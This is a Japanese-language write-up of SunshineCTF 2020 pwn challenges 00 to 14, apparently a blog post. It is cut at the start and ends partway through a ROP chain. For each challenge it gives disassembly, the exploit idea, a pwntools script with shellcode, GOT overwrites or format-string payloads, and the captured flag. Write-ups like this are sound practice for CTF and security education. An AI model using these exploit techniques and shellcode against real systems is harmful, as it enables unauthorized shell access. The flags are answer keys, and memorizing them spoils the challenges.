   0x0000000000000714 <+74>:    call   0x590 <system@plt>
   0x0000000000000719 <+79>:    nop
   0x000000000000071a <+80>:    leave  
   0x000000000000071b <+81>:    ret    
End of assembler dump.

rbp-0x4rbp-0x8の値が0xfacadeになっているとシェルが起動する. 入力がrbp-0x40からに格納されるので0x3c文字か0x38文字後に0xfacadeを置く.

from pwn import *

# p=process('./chall_00')
p=remote('chal.2020.sunshinectf.org',30000)

arg=0xfacade

payload=b''
for i in range(8):
    payload+=p64(arg)

p.recv()
p.sendline(payload)
p.interactive()

flag: sun{burn-it-down-6208bbc96c9ffce4}

01 (10 Pts)

gdb-peda$ disas main
Dump of assembler code for function main:
   0x000000000000075a <+0>:     push   rbp
   0x000000000000075b <+1>:     mov    rbp,rsp
   0x000000000000075e <+4>:     sub    rsp,0x60
   0x0000000000000762 <+8>:     lea    rdi,[rip+0xef]        # 0x858
   0x0000000000000769 <+15>:    call   0x600 <puts@plt>
   0x000000000000076e <+20>:    mov    rdx,QWORD PTR [rip+0x20089b]        # 0x201010 <stdin@@GLIBC_2.2.5>
   0x0000000000000775 <+27>:    lea    rax,[rbp-0x20]
   0x0000000000000779 <+31>:    mov    esi,0x13
   0x000000000000077e <+36>:    mov    rdi,rax
   0x0000000000000781 <+39>:    call   0x620 <fgets@plt>
   0x0000000000000786 <+44>:    lea    rax,[rbp-0x60]
   0x000000000000078a <+48>:    mov    rdi,rax
   0x000000000000078d <+51>:    mov    eax,0x0
   0x0000000000000792 <+56>:    call   0x630 <gets@plt>
   0x0000000000000797 <+61>:    cmp    DWORD PTR [rbp-0x4],0xfacade
   0x000000000000079e <+68>:    jne    0x7ac <main+82>
   0x00000000000007a0 <+70>:    lea    rdi,[rip+0xdf]        # 0x886
   0x00000000000007a7 <+77>:    call   0x610 <system@plt>
   0x00000000000007ac <+82>:    cmp    DWORD PTR [rbp-0x8],0xfacade
   0x00000000000007b3 <+89>:    jne    0x7c1 <main+103>
   0x00000000000007b5 <+91>:    lea    rdi,[rip+0xca]        # 0x886
   0x00000000000007bc <+98>:    call   0x610 <system@plt>
   0x00000000000007c1 <+103>:   nop
   0x00000000000007c2 <+104>:   leave  
   0x00000000000007c3 <+105>:   ret    
End of assembler dump.

00と同様にrbp-0x4rbp-0x8の値が0xfacadeになっているとシェルが起動する. fgetsは文字数制限があるためgetsで入力する. rbp-0x60からなので0x5c文字か0x58文字後に0xfacadeを置く.

from pwn import *

# p=process('./chall_01')
p=remote('chal.2020.sunshinectf.org',30001)

arg=0xfacade

payload=b''
for i in range(12):
    payload+=p64(arg)

p.recv()
p.sendline()
p.sendline(payload)
p.interactive()

flag: sun{eternal-rest-6a5ee49d943a053a}

02 (10 Pts)

gdb-peda$ disas vuln 
Dump of assembler code for function vuln:
   0x08048501 <+0>:     push   ebp
   0x08048502 <+1>:     mov    ebp,esp
   0x08048504 <+3>:     push   ebx
   0x08048505 <+4>:     sub    esp,0x44
   0x08048508 <+7>:     call   0x8048582 <__x86.get_pc_thunk.ax>
   0x0804850d <+12>:    add    eax,0x1af3
   0x08048512 <+17>:    sub    esp,0xc
   0x08048515 <+20>:    lea    edx,[ebp-0x3a]
   0x08048518 <+23>:    push   edx
   0x08048519 <+24>:    mov    ebx,eax
   0x0804851b <+26>:    call   0x8048360 <gets@plt>
   0x08048520 <+31>:    add    esp,0x10
   0x08048523 <+34>:    nop
   0x08048524 <+35>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x08048527 <+38>:    leave  
   0x08048528 <+39>:    ret    
End of assembler dump.

vuln内のgetsBOFが起きる. リターンアドレスをwinのアドレスに書き換える. offsetは0x3a+0x4=0x3e.

from pwn import *

# p=process('./chall_02')
p=remote('chal.2020.sunshinectf.org',30002)
e=ELF('./chall_02')

payload=b'A'*62
payload+=p64(e.symbols['win'])

p.recv()
p.sendline()
p.sendline(payload)
p.interactive()

flag: sun{warmness-on-the-soul-3b6aad1d8bb54732}

03 (18 Pts)

gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x000000000000075a <+0>:     push   rbp
   0x000000000000075b <+1>:     mov    rbp,rsp
   0x000000000000075e <+4>:     sub    rsp,0x70
   0x0000000000000762 <+8>:     lea    rax,[rbp-0x70]
   0x0000000000000766 <+12>:    mov    rsi,rax
   0x0000000000000769 <+15>:    lea    rdi,[rip+0xe4]        # 0x854
   0x0000000000000770 <+22>:    mov    eax,0x0
   0x0000000000000775 <+27>:    call   0x610 <printf@plt>
   0x000000000000077a <+32>:    lea    rax,[rbp-0x70]
   0x000000000000077e <+36>:    mov    rdi,rax
   0x0000000000000781 <+39>:    mov    eax,0x0
   0x0000000000000786 <+44>:    call   0x630 <gets@plt>
   0x000000000000078b <+49>:    nop
   0x000000000000078c <+50>:    leave  
   0x000000000000078d <+51>:    ret    
End of assembler dump.

02と同様にvulngetsBOFが起きる. しかしwinがなく, PIEが有効になっている.
2回目の入力の前にアドレスrbp-0x70が表示される. これは2回目の入力の文字が格納されるアドレスと同じ.
NXbitは無効になってるから2回目の入力時にシェルコードを書き込み, リターンアドレスを表示されたアドレスに書き換えるとリターン時にシェルコードが実行される.

from pwn import *

# p=process('./chall_03')
p=remote('chal.2020.sunshinectf.org',30003)
e=ELF('./chall_03')

# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

p.recv()
p.sendline()
p.recvuntil(': ')
buf=int(p.recv(14)[2:],16)

payload=shellcode
payload+=b'A'*(120-len(shellcode))
payload+=p64(buf)

p.sendline(payload)
p.interactive()

flag: sun{a-little-piece-of-heaven-26c8795afe7b3c49}

04 (10 Pts)

gdb-peda$ disas vuln 
Dump of assembler code for function vuln:
   0x00000000004005ca <+0>:     push   rbp
   0x00000000004005cb <+1>:     mov    rbp,rsp
   0x00000000004005ce <+4>:     sub    rsp,0x240
   0x00000000004005d5 <+11>:    mov    rdx,QWORD PTR [rip+0x200a64]        # 0x601040 <stdin@@GLIBC_2.2.5>
   0x00000000004005dc <+18>:    lea    rax,[rbp-0x40]
   0x00000000004005e0 <+22>:    mov    esi,0x64
   0x00000000004005e5 <+27>:    mov    rdi,rax
   0x00000000004005e8 <+30>:    call   0x4004c0 <fgets@plt>
   0x00000000004005ed <+35>:    mov    rdx,QWORD PTR [rbp-0x8]
   0x00000000004005f1 <+39>:    mov    eax,0x0
   0x00000000004005f6 <+44>:    call   rdx
   0x00000000004005f8 <+46>:    nop
   0x00000000004005f9 <+47>:    leave  
   0x00000000004005fa <+48>:    ret    
End of assembler dump.

2回目の入力が終わるとrdxレジスタの値をcallしてくれる. 直前にrbp-0x8の値がrdxに代入される. 入力がrbp-0x40からに格納されるので0x38(=0x40-0x8)文字後にwinのアドレスを置くとcall時にwinが実行される.

from pwn import *

# p=process('./chall_04')
p=remote('chal.2020.sunshinectf.org',30004)
e=ELF('./chall_04')

payload=b'A'*0x38
payload+=p64(e.symbols['win'])

p.recv()
p.sendline()
p.sendline(payload)
p.interactive()

flag: sun{critical-acclaim-96cfde3d068e77bf}

05 (10 Pts)

gdb-peda$ disas vuln 
Dump of assembler code for function vuln:
   0x00000000000007a6 <+0>:     push   rbp
   0x00000000000007a7 <+1>:     mov    rbp,rsp
   0x00000000000007aa <+4>:     sub    rsp,0x240
   0x00000000000007b1 <+11>:    lea    rsi,[rip+0xffffffffffffffb5]        # 0x76d <main>
   0x00000000000007b8 <+18>:    lea    rdi,[rip+0xd4]        # 0x893
   0x00000000000007bf <+25>:    mov    eax,0x0
   0x00000000000007c4 <+30>:    call   0x620 <printf@plt>
   0x00000000000007c9 <+35>:    mov    rdx,QWORD PTR [rip+0x200840]        # 0x201010 <stdin@@GLIBC_2.2.5>
   0x00000000000007d0 <+42>:    lea    rax,[rbp-0x40]
   0x00000000000007d4 <+46>:    mov    esi,0x64
   0x00000000000007d9 <+51>:    mov    rdi,rax
   0x00000000000007dc <+54>:    call   0x630 <fgets@plt>
   0x00000000000007e1 <+59>:    mov    rdx,QWORD PTR [rbp-0x8]
   0x00000000000007e5 <+63>:    mov    eax,0x0
   0x00000000000007ea <+68>:    call   rdx
   0x00000000000007ec <+70>:    nop
   0x00000000000007ed <+71>:    leave  
   0x00000000000007ee <+72>:    ret    
End of assembler dump.

04と同様に2回目の入力が終わるとrdxレジスタの値をcallしてくれる. しかし, PIEが有効になっていてwinのアドレスがわからない.
2回目の入力の前にmainのアドレスが表示される. このアドレスからwinのアドレスを計算する. あとは04と同じ.

from pwn import *

# p=process('./chall_05')
p=remote('chal.2020.sunshinectf.org',30005)
e=ELF('./chall_05')

p.recv()
p.sendline()
p.recvuntil(': ')
win=int(p.recv(14)[2:],16)+e.symbols['win']-e.symbols['main']
print(hex(win))

payload=b'A'*0x38
payload+=p64(win)

p.sendline(payload)
p.interactive()

flag: sun{chapter-four-9ca97769b74345b1}

06 (23 Pts)

gdb-peda$ disas main
Dump of assembler code for function main:
   0x000000000000071a <+0>:     push   rbp
   0x000000000000071b <+1>:     mov    rbp,rsp
   0x000000000000071e <+4>:     sub    rsp,0xd0
   0x0000000000000725 <+11>:    lea    rax,[rbp-0xd0]
   0x000000000000072c <+18>:    mov    rsi,rax
   0x000000000000072f <+21>:    lea    rdi,[rip+0x102]        # 0x838
   0x0000000000000736 <+28>:    mov    eax,0x0
   0x000000000000073b <+33>:    call   0x5e0 <printf@plt>
   0x0000000000000740 <+38>:    mov    rdx,QWORD PTR [rip+0x2008c9]        # 0x201010 <stdin@@GLIBC_2.2.5>
   0x0000000000000747 <+45>:    lea    rax,[rbp-0xd0]
   0x000000000000074e <+52>:    mov    esi,0xc7
   0x0000000000000753 <+57>:    mov    rdi,rax
   0x0000000000000756 <+60>:    call   0x5f0 <fgets@plt>
   0x000000000000075b <+65>:    mov    eax,0x0
   0x0000000000000760 <+70>:    call   0x768 <vuln>
   0x0000000000000765 <+75>:    nop
   0x0000000000000766 <+76>:    leave  
   0x0000000000000767 <+77>:    ret    
End of assembler dump.

1回目の入力の前にアドレスrbp-0xd0が表示される. これは1回目に入力する文字が格納されるアドレスと同じ.

gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x0000000000000768 <+0>:     push   rbp
   0x0000000000000769 <+1>:     mov    rbp,rsp
   0x000000000000076c <+4>:     sub    rsp,0x240
   0x0000000000000773 <+11>:    lea    rdi,[rip+0xe6]        # 0x860
   0x000000000000077a <+18>:    call   0x5d0 <puts@plt>
   0x000000000000077f <+23>:    mov    rdx,QWORD PTR [rip+0x20088a]        # 0x201010 <stdin@@GLIBC_2.2.5>
   0x0000000000000786 <+30>:    lea    rax,[rbp-0x40]
   0x000000000000078a <+34>:    mov    esi,0x64
   0x000000000000078f <+39>:    mov    rdi,rax
   0x0000000000000792 <+42>:    call   0x5f0 <fgets@plt>
   0x0000000000000797 <+47>:    mov    rdx,QWORD PTR [rbp-0x8]
   0x000000000000079b <+51>:    mov    eax,0x0
   0x00000000000007a0 <+56>:    call   rdx
   0x00000000000007a2 <+58>:    nop
   0x00000000000007a3 <+59>:    leave  
   0x00000000000007a4 <+60>:    ret    
End of assembler dump.

04, 05と同様に2回目の入力が終わるとrdxレジスタの値をcallしてくれる.
1回目の入力時にシェルコードを書き込み, rbp-0x8に表示されたアドレスを書き込めばcall時にシェルコードが実行される.

from pwn import *

# p=process('./chall_06')
p=remote('chal.2020.sunshinectf.org',30006)
e=ELF('./chall_06')

# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

p.recvuntil(': ')
buf=int(p.recv(14)[2:],16)
p.sendline(shellcode)

payload=b'A'*0x38
payload+=p64(buf)

p.recv()
p.sendline(payload)
p.interactive()

flag: sun{shepherd-of-fire-1a78a8e600bf4492}

07 (26 Pts)

gdb-peda$ disas main
Dump of assembler code for function main:
   0x000000000000073a <+0>:     push   rbp
   0x000000000000073b <+1>:     mov    rbp,rsp
   0x000000000000073e <+4>:     sub    rsp,0xf0
   0x0000000000000745 <+11>:    mov    rax,QWORD PTR fs:0x28
   0x000000000000074e <+20>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000000752 <+24>:    xor    eax,eax
   0x0000000000000754 <+26>:    lea    rdi,[rip+0xe9]        # 0x844
   0x000000000000075b <+33>:    mov    eax,0x0
   0x0000000000000760 <+38>:    call   0x600 <printf@plt>
   0x0000000000000765 <+43>:    mov    rdx,QWORD PTR [rip+0x2008a4]        # 0x201010 <stdin@@GLIBC_2.2.5>
   0x000000000000076c <+50>:    lea    rax,[rbp-0xf0]
   0x0000000000000773 <+57>:    mov    esi,0x13
   0x0000000000000778 <+62>:    mov    rdi,rax
   0x000000000000077b <+65>:    call   0x610 <fgets@plt>
   0x0000000000000780 <+70>:    mov    rdx,QWORD PTR [rip+0x200889]        # 0x201010 <stdin@@GLIBC_2.2.5>
   0x0000000000000787 <+77>:    lea    rax,[rbp-0xd0]
   0x000000000000078e <+84>:    mov    esi,0xc8
   0x0000000000000793 <+89>:    mov    rdi,rax
   0x0000000000000796 <+92>:    call   0x610 <fgets@plt>
   0x000000000000079b <+97>:    lea    rdx,[rbp-0xd0]
   0x00000000000007a2 <+104>:   mov    eax,0x0
   0x00000000000007a7 <+109>:   call   rdx
   0x00000000000007a9 <+111>:   nop
   0x00000000000007aa <+112>:   mov    rax,QWORD PTR [rbp-0x8]
   0x00000000000007ae <+116>:   xor    rax,QWORD PTR fs:0x28
   0x00000000000007b7 <+125>:   je     0x7be <main+132>
   0x00000000000007b9 <+127>:   call   0x5f0 <__stack_chk_fail@plt>
   0x00000000000007be <+132>:   leave  
   0x00000000000007bf <+133>:   ret    
End of assembler dump.

2回目の入力が終わるとrdxレジスタの値をcallしてくれる. 直前に2回目に入力された文字が格納されるアドレスであるrbp-0xd0rdxにロードされるので2回目の入力時にシェルコードを書き込めばcall時に実行される.

from pwn import *

# p=process('./chall_07')
p=remote('chal.2020.sunshinectf.org',30007)
e=ELF('./chall_07')

# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

p.sendline()
p.sendline(shellcode)
p.interactive()

flag: sun{sidewinder-a80d0be1840663c4}

08 (37 Pts)

gdb-peda$ disas main
Dump of assembler code for function main:
   0x000000000040057a <+0>:     push   rbp
   0x000000000040057b <+1>:     mov    rbp,rsp
   0x000000000040057e <+4>:     sub    rsp,0x10
   0x0000000000400582 <+8>:     lea    rax,[rbp-0x4]
   0x0000000000400586 <+12>:    mov    rsi,rax
   0x0000000000400589 <+15>:    lea    rdi,[rip+0xdc]        # 0x40066c
   0x0000000000400590 <+22>:    mov    eax,0x0
   0x0000000000400595 <+27>:    call   0x400470 <__isoc99_scanf@plt>
   0x000000000040059a <+32>:    lea    rax,[rbp-0x10]
   0x000000000040059e <+36>:    mov    rsi,rax
   0x00000000004005a1 <+39>:    lea    rdi,[rip+0xc7]        # 0x40066f
   0x00000000004005a8 <+46>:    mov    eax,0x0
   0x00000000004005ad <+51>:    call   0x400470 <__isoc99_scanf@plt>
   0x00000000004005b2 <+56>:    mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004005b5 <+59>:    mov    rdx,QWORD PTR [rbp-0x10]
   0x00000000004005b9 <+63>:    cdqe   
   0x00000000004005bb <+65>:    lea    rcx,[rax*8+0x0]
   0x00000000004005c3 <+73>:    lea    rax,[rip+0x200476]        # 0x600a40 <target>
   0x00000000004005ca <+80>:    mov    QWORD PTR [rcx+rax*1],rdx
   0x00000000004005ce <+84>:    lea    rdi,[rip+0x9e]        # 0x400673
   0x00000000004005d5 <+91>:    call   0x400450 <puts@plt>
   0x00000000004005da <+96>:    nop
   0x00000000004005db <+97>:    leave  
   0x00000000004005dc <+98>:    ret    
End of assembler dump.

数字を2回入力できる. 1回目の入力をx, 2回目の入力をyとすると

0x00000000004005b2 <+56>:    mov    eax,DWORD PTR [rbp-0x4]         # eax=x
0x00000000004005b5 <+59>:    mov    rdx,QWORD PTR [rbp-0x10]        # rdx=y
0x00000000004005b9 <+63>:    cdqe                                   # rax=x
0x00000000004005bb <+65>:    lea    rcx,[rax*8+0x0]                 # rcx=x*8
0x00000000004005c3 <+73>:    lea    rax,[rip+0x200476]              # rax=0x600a40
0x00000000004005ca <+80>:    mov    QWORD PTR [rcx+rax*1],rdx       # x*8+0x600a40にyを書き込む

main+80でGOT Overwriteができそう. 直後にあるputsのGOTをwinのアドレスに書き換える.
x*8+0x600a40=(putsのGOT), y=(winのアドレス)となるようなx, yを入力するとputs呼び出し時にwinが呼ばれる.

from pwn import *

# p=process('./chall_08')
p=remote('chal.2020.sunshinectf.org',30008)
e=ELF('./chall_08')

p.sendline(str((e.got["puts"]-0x600a40)//8))
p.sendline(str(e.symbols["win"]))
p.interactive()

flag: sun{fiction-fa1a28a3ce2fdd96}

09 (29 Pts)

長いからGhidraでデコンパイル.

void main(void)
{
    size_t sVar1;
    size_t sVar2;
    long in_FS_OFFSET;
    int local_5c;
    byte local_58 [56];
    long local_20;
    
    local_20 = *(long *)(in_FS_OFFSET + 0x28);
    fgets((char *)local_58,0x31,stdin);
    sVar1 = strlen((char *)local_58);
    sVar2 = strlen(key);
    if (sVar1 == sVar2) {
        local_5c = 0;
        while( true ) {
        sVar1 = strlen(key);
        if (sVar1 <= (ulong)(long)local_5c) break;
        if ((local_58[local_5c] ^ 0x30) !=key[local_5c]) {
                        /* WARNING: Subroutine does notreturn */
            exit(0);
        }
        local_5c = local_5c + 1;
        }
        system("/bin/sh");
    }
    if (local_20 != *(long *)(in_FS_OFFSET +0x28)) {
                    /* WARNING: Subroutine does notreturn */
    __stack_chk_fail();
  }
  return ;
}

(入力した文字列)^0x30 = key(="y\027FU\020S_]U\020XUBU\020D_:")となる文字列を入力するとシェルが起動する.
入力する文字列はkey^0x30で求められる.

key="y\027FU\020S_]U\020XUBU\020D_:"
s="".join([chr(ord(c)^0x30) for c in key])
print(s)
$ python3 solve.py 
I've come here to

$ nc chal.2020.sunshinectf.org 30009
I've come here to

ls
chall_09
flag.txt
cat flag.txt
sun{coming-home-4202dcd54b230a00}
exit

flag: sun{coming-home-4202dcd54b230a00}

10 (34 Pts)

gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x0804850a <+0>:     push   ebp
   0x0804850b <+1>:     mov    ebp,esp
   0x0804850d <+3>:     push   ebx
   0x0804850e <+4>:     sub    esp,0x44
   0x08048511 <+7>:     call   0x804858b <__x86.get_pc_thunk.ax>
   0x08048516 <+12>:    add    eax,0x1aea
   0x0804851b <+17>:    sub    esp,0xc
   0x0804851e <+20>:    lea    edx,[ebp-0x3a]
   0x08048521 <+23>:    push   edx
   0x08048522 <+24>:    mov    ebx,eax
   0x08048524 <+26>:    call   0x8048360 <gets@plt>
   0x08048529 <+31>:    add    esp,0x10
   0x0804852c <+34>:    nop
   0x0804852d <+35>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x08048530 <+38>:    leave  
   0x08048531 <+39>:    ret    
End of assembler dump.

vuln内のgetsBOFが起きる. リターンアドレスをwinに書き換えてあげればよいがwinに引数チェックがある.

gdb-peda$ disas win
Dump of assembler code for function win:
   0x080484d6 <+0>:     push   ebp
   0x080484d7 <+1>:     mov    ebp,esp
   0x080484d9 <+3>:     push   ebx
   0x080484da <+4>:     sub    esp,0x4
   0x080484dd <+7>:     call   0x804858b <__x86.get_pc_thunk.ax>
   0x080484e2 <+12>:    add    eax,0x1b1e
   0x080484e7 <+17>:    cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0x080484ee <+24>:    jne    0x8048504 <win+46>
   0x080484f0 <+26>:    sub    esp,0xc
   0x080484f3 <+29>:    lea    edx,[eax-0x19f0]
   0x080484f9 <+35>:    push   edx
   0x080484fa <+36>:    mov    ebx,eax
   0x080484fc <+38>:    call   0x8048390 <system@plt>
   0x08048501 <+43>:    add    esp,0x10
   0x08048504 <+46>:    nop
   0x08048505 <+47>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x08048508 <+50>:    leave  
   0x08048509 <+51>:    ret    
End of assembler dump.

第1引数が0xdeadbeefになっていればよい.

from pwn import *

# p=process('./chall_10')
p=remote('chal.2020.sunshinectf.org',30010)
e=ELF('./chall_10')

payload=b'A'*62
payload+=p32(e.symbols["win"])
payload+=b'B'*4
payload+=p32(0xdeadbeef)

p.recv()
p.sendline()
p.sendline(payload)
p.interactive()

flag: sun{second-heartbeat-aeaff82332769d0f}

11 (42 Pts)

gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x08048511 <+0>:     push   ebp
   0x08048512 <+1>:     mov    ebp,esp
   0x08048514 <+3>:     push   ebx
   0x08048515 <+4>:     sub    esp,0xd4
   0x0804851b <+10>:    call   0x8048420 <__x86.get_pc_thunk.bx>
   0x08048520 <+15>:    add    ebx,0x13e8
   0x08048526 <+21>:    mov    eax,DWORD PTR [ebx-0x4]
   0x0804852c <+27>:    mov    eax,DWORD PTR [eax]
   0x0804852e <+29>:    sub    esp,0x4
   0x08048531 <+32>:    push   eax
   0x08048532 <+33>:    push   0xc7
   0x08048537 <+38>:    lea    eax,[ebp-0xd0]
   0x0804853d <+44>:    push   eax
   0x0804853e <+45>:    call   0x8048380 <fgets@plt>
   0x08048543 <+50>:    add    esp,0x10
   0x08048546 <+53>:    sub    esp,0xc
   0x08048549 <+56>:    lea    eax,[ebp-0xd0]
   0x0804854f <+62>:    push   eax
   0x08048550 <+63>:    call   0x8048360 <printf@plt>
   0x08048555 <+68>:    add    esp,0x10
   0x08048558 <+71>:    mov    eax,DWORD PTR [ebx-0x4]
   0x0804855e <+77>:    mov    eax,DWORD PTR [eax]
   0x08048560 <+79>:    sub    esp,0xc
   0x08048563 <+82>:    push   eax
   0x08048564 <+83>:    call   0x8048370 <fflush@plt>
   0x08048569 <+88>:    add    esp,0x10
   0x0804856c <+91>:    nop
   0x0804856d <+92>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x08048570 <+95>:    leave  
   0x08048571 <+96>:    ret    
End of assembler dump.

vulnprintfFSBがある.

$ ./chall_11 
So indeed 

AAAA%p,%p,%p,%p,%p,%p,%p
AAAA0xc7,0xf7ed3580,0x8048520,(nil),(nil),0x41414141,0x252c7025

fflushのGOTをwinのアドレスに書き換えると, fflush呼び出し時にwinが呼ばれる.

from pwn import *

# p=process('./chall_11')
p=remote('chal.2020.sunshinectf.org',30011)
e=ELF('./chall_11')

fflush_got=e.got["fflush"]
win=e.symbols["win"]

payload=fmtstr_payload(6,{fflush_got:win})

p.sendline()
p.sendline(payload)
p.interactive()

flag: sun{afterlife-4b74753c2b12949f}

12 (45 Pts)

vulnは11とほぼ同じでprintfFSBがある. しかし, PIEが有効になっていてwinのアドレスがわからない.
実行するとmainのアドレスが表示される. このアドレスからfflushのGOTとwinのアドレスを計算する. あとは11と同様にfflushのGOTをwinのアドレスに書き換える.

from pwn import *

# p=process('./chall_12')
p=remote('chal.2020.sunshinectf.org',30012)
e=ELF('./chall_12')

main=e.symbols["main"]
win=e.symbols["win"]
fflush_got=e.got["fflush"]

p.recvuntil(": ")
leak_main=int(p.recv(14)[2:],16)
win=leak_main+win-main
fflush_got=leak_main+fflush_got-main

payload=fmtstr_payload(6,{fflush_got:win})

p.sendline()
p.sendline(payload)
p.interactive() 

flag: sun{the-stage-351efbcaebfda0d5}

13 (44 Pts)

vulnは10とほぼ同じでgetsBOFが起きる. リターンアドレスをsystemFuncに書き換える.

from pwn import *

# p=process('./chall_13')
p=remote('chal.2020.sunshinectf.org',30013)
e=ELF('./chall_13')

payload=b'A'*62
payload+=p32(e.symbols["systemFunc"])

p.recv()
p.sendline()
p.sendline(payload)
p.interactive()

flag: sun{almost-easy-61ddd735cf9053b0}

14 (47 Pts)

gdb-peda$ disas main
Dump of assembler code for function main:
   0x0000000000400b5d <+0>:     push   rbp
   0x0000000000400b5e <+1>:     mov    rbp,rsp
   0x0000000000400b61 <+4>:     sub    rsp,0x60
   0x0000000000400b65 <+8>:     lea    rdi,[rip+0x9195c]        # 0x4924c8
   0x0000000000400b6c <+15>:    call   0x410890 <puts>
   0x0000000000400b71 <+20>:    mov    rdx,QWORD PTR [rip+0x2b8c30]        # 0x6b97a8 <stdin>
   0x0000000000400b78 <+27>:    lea    rax,[rbp-0x20]
   0x0000000000400b7c <+31>:    mov    esi,0x14
   0x0000000000400b81 <+36>:    mov    rdi,rax
   0x0000000000400b84 <+39>:    call   0x40ffd0 <fgets>
   0x0000000000400b89 <+44>:    lea    rax,[rbp-0x60]
   0x0000000000400b8d <+48>:    mov    rdi,rax
   0x0000000000400b90 <+51>:    mov    eax,0x0
   0x0000000000400b95 <+56>:    call   0x4106e0 <gets>
   0x0000000000400b9a <+61>:    nop
   0x0000000000400b9b <+62>:    leave  
   0x0000000000400b9c <+63>:    ret    
End of assembler dump.

maingetsBOFが起きる.

$ file ./chall_14 
./chall_14: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=2936c7ad85f602a3701fef5df2a870452f6d3499, not stripped

静的リンク.
ROPgadgetでROPChainを組む. リターンアドレスをROPChainに書き換える.

$ ROPgadget --binary ./chall_14 --ropchain
from pwn import *
from struct import pack

# r=process('./chall_14')
r=remote('chal.2020.sunshinectf.org',30014)
e=ELF('./chall_14')

# $ ROPgadget --binary ./chall_14 --ropchain
# Padding goes here
p = b'A'*104

p += pack('<Q', 0x0000000000410263) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004158f4) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000047f401) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000410263) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444e50) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f401) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000400696) # pop rdi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x0000000000410263) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000449b15) # pop rdx ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444e50) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
